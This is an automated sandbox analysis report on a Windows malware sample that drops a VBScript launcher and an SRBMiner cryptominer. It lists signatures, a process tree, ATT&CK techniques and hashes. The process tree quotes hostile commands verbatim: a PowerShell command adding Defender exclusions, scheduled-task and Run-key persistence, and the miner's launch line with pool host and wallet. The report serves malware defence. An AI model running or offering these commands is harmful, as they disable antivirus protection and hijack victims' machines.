Analysis
- max time kernel
149s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/07/2026, 13:20
Static task
static1
Behavioral task
behavioral1
Sample
2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Resource
win11ltsc2024-20260709-en
General
- Target 2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
- Size 28.5MB
- Sample260731-qld1lstdre
- SHA256 12a3394badc5645c5d6fb335d659ef20ab04375008f66606986e6e2b450c0b97
- MD5 ff87389309d9caff2622c6c94d9a49be
- SHA1 50b4ff3087d95adc45cfc46abc6c655537c128de
- SHA512 964bad8ba042eaac9778e92ab30c174b5f08926b1d5e7104bfc55374a1b65b1e64e92e8167f7ac3d08253c15210dafc975055c623690aee93c0c821240b95567
- SSDEEP 786432:cZQHaIj1Tbc+3LpslPyxhEpILmcJJmaEQ7++O2bV2p8:h6IjCmelPShXmWALQ7++OGUW
- TLSH T13167331196951EBEF11BD1388D920D02EB793C1D8774926F0354E7A28D0BA92CF7E763
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2940 powershell.exe - Disables Task Manager via registry modification
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsTask.vbs wscript.exe - Executes dropped EXE 1 IoCs
pid Process 1672 SRBMiner-MULTI.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateTask = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\WindowsTask\\task.vbs\"" wscript.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 drive.google.com 12 drive.google.com - Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 960 cmd.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1232 wscript.exe 1752 wscript.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
pid Process 1672 SRBMiner-MULTI.exe 1672 SRBMiner-MULTI.exe 1672 SRBMiner-MULTI.exe 1672 SRBMiner-MULTI.exe 1672 SRBMiner-MULTI.exe 1672 SRBMiner-MULTI.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1760 cmd.exe 4564 cmd.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ wscript.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1852 schtasks.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2940 powershell.exe 2940 powershell.exe 2940 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2940 powershell.exe Token: SeIncreaseQuotaPrivilege 2940 powershell.exe Token: SeSecurityPrivilege 2940 powershell.exe Token: SeTakeOwnershipPrivilege 2940 powershell.exe Token: SeLoadDriverPrivilege 2940 powershell.exe Token: SeSystemProfilePrivilege 2940 powershell.exe Token: SeSystemtimePrivilege 2940 powershell.exe Token: SeProfSingleProcessPrivilege 2940 powershell.exe Token: SeIncBasePriorityPrivilege 2940 powershell.exe Token: SeCreatePagefilePrivilege 2940 powershell.exe Token: SeBackupPrivilege 2940 powershell.exe Token: SeRestorePrivilege 2940 powershell.exe Token: SeShutdownPrivilege 2940 powershell.exe Token: SeDebugPrivilege 2940 powershell.exe Token: SeSystemEnvironmentPrivilege 2940 powershell.exe Token: SeRemoteShutdownPrivilege 2940 powershell.exe Token: SeUndockPrivilege 2940 powershell.exe Token: SeManageVolumePrivilege 2940 powershell.exe Token: 33 2940 powershell.exe Token: 34 2940 powershell.exe Token: 35 2940 powershell.exe Token: 36 2940 powershell.exe Token: SeIncreaseQuotaPrivilege 2940 powershell.exe Token: SeSecurityPrivilege 2940 powershell.exe Token: SeTakeOwnershipPrivilege 2940 powershell.exe Token: SeLoadDriverPrivilege 2940 powershell.exe Token: SeSystemProfilePrivilege 2940 powershell.exe Token: SeSystemtimePrivilege 2940 powershell.exe Token: SeProfSingleProcessPrivilege 2940 powershell.exe Token: SeIncBasePriorityPrivilege 2940 powershell.exe Token: SeCreatePagefilePrivilege 2940 powershell.exe Token: SeBackupPrivilege 2940 powershell.exe Token: SeRestorePrivilege 2940 powershell.exe Token: SeShutdownPrivilege 2940 powershell.exe Token: SeDebugPrivilege 2940 powershell.exe Token: SeSystemEnvironmentPrivilege 2940 powershell.exe Token: SeRemoteShutdownPrivilege 2940 powershell.exe Token: SeUndockPrivilege 2940 powershell.exe Token: SeManageVolumePrivilege 2940 powershell.exe Token: 33 2940 powershell.exe Token: 34 2940 powershell.exe Token: 35 2940 powershell.exe Token: 36 2940 powershell.exe Token: SeIncreaseQuotaPrivilege 2940 powershell.exe Token: SeSecurityPrivilege 2940 powershell.exe Token: SeTakeOwnershipPrivilege 2940 powershell.exe Token: SeLoadDriverPrivilege 2940 powershell.exe Token: SeSystemProfilePrivilege 2940 powershell.exe Token: SeSystemtimePrivilege 2940 powershell.exe Token: SeProfSingleProcessPrivilege 2940 powershell.exe Token: SeIncBasePriorityPrivilege 2940 powershell.exe Token: SeCreatePagefilePrivilege 2940 powershell.exe Token: SeBackupPrivilege 2940 powershell.exe Token: SeRestorePrivilege 2940 powershell.exe Token: SeShutdownPrivilege 2940 powershell.exe Token: SeDebugPrivilege 2940 powershell.exe Token: SeSystemEnvironmentPrivilege 2940 powershell.exe Token: SeRemoteShutdownPrivilege 2940 powershell.exe Token: SeUndockPrivilege 2940 powershell.exe Token: SeManageVolumePrivilege 2940 powershell.exe Token: 33 2940 powershell.exe Token: 34 2940 powershell.exe Token: 35 2940 powershell.exe Token: 36 2940 powershell.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3648 wrote to memory of 1232 3648 2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe 89 PID 1232 wrote to memory of 1752 1232 wscript.exe 90 PID 1752 wrote to memory of 960 1752 wscript.exe 92 PID 960 wrote to memory of 1832 960 cmd.exe 94 PID 1752 wrote to memory of 1760 1752 wscript.exe 95 PID 1760 wrote to memory of 1852 1760 cmd.exe 97 PID 1752 wrote to memory of 2940 1752 wscript.exe 98 PID 1752 wrote to memory of 1672 1752 wscript.exe 103 PID 1672 wrote to memory of 4564 1672 SRBMiner-MULTI.exe 105 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3648 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" launcher.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\launcher.vbs" /Elevated3⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "WindowsUpdateTask" /f4⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\system32\schtasks.exeschtasks /delete /tn "WindowsUpdateTask" /f5⤵PID:1832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1760 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f5⤵
- Scheduled Task/Job: Scheduled Task
PID:1852
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsTask'; Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe'; Add-MpPreference -ExclusionExtension '.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2940
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C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe"C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe" --algorithm-gpu pearlhash --pool hk.pearl.gfwroute.com:1200 --wallet prl1pua8c6gxdqmgmvqrscs73c9vzkalr4xja2sn76j2u6yfjy2vj63ss37lnwd --worker zOQ6NWPB4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c set5⤵
- Executes a command shell one-liner
PID:4564
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C:\Windows\system32\wscript.exewscript.exe1⤵PID:3244
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\SRBMiner-MULTI.exe
- Size 28.3MB
- SHA256 94a8074259a54537f285f146b0f98111ab8771bc456dd28568d23bab83526447
- MD5 419c5d8fcce9c1931290150cd8ce4524
- SHA1 45682cc974816ed8cbcba8787e1fc08a15617186
- SHA512 3cf7c0ea560297b2315b19bee43396af7fde150170629073d54c1fbceaa701b4d3cfb647875c27a032f999724974df847dbc8837c4fd69197f8ada2fdaa6dce8
- SSDEEP 393216:4Wc4cl5N3yrrm+4bIEZG7+P5e+idMOyB3dmSKKj8D920tRn/rSk4QxFHKw1VSfrJ:45Em+KKD+dgKje92S/rr4QxFHKmEf
- TLSH T12E57331447B4CE66C2CA157CA634306836ACFCD4AB5261CAE6E11EF3626E735BC36734
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\launcher.vbs
- Size 5KB
- SHA256 7893dc30af94f58906e0699434eeda057696d1f9a3dcddf376b678e983a6028d
- MD5 957409ab1e862fdca6f9167616e8cf1d
- SHA1 2e4f6930056571e1b9b580d26a6a5b6812aac1a3
- SHA512 b6ed2a1a11f7ede297f10e7cee38b20918e02ab8c32d08aa5803c7392c4280a45668f7957f4d60d7e06099eacb4f635704eed888e7aa3b07f8ff3e62850ae112
- SSDEEP 96:z1HwRBaDwsOc/BFtcX+SU3z7111IA4qhtQSAAitSVFbOAfDetqAAtYt:zVAuDD/bt8yzttVwt
- TLSH T12BB18382FE1F5F31CA7653510186580DFFA60233A7B548293ECC880EDB22B6CB2D0CA4
- MD5 SHA1 SHA512 SSDEEP TLSH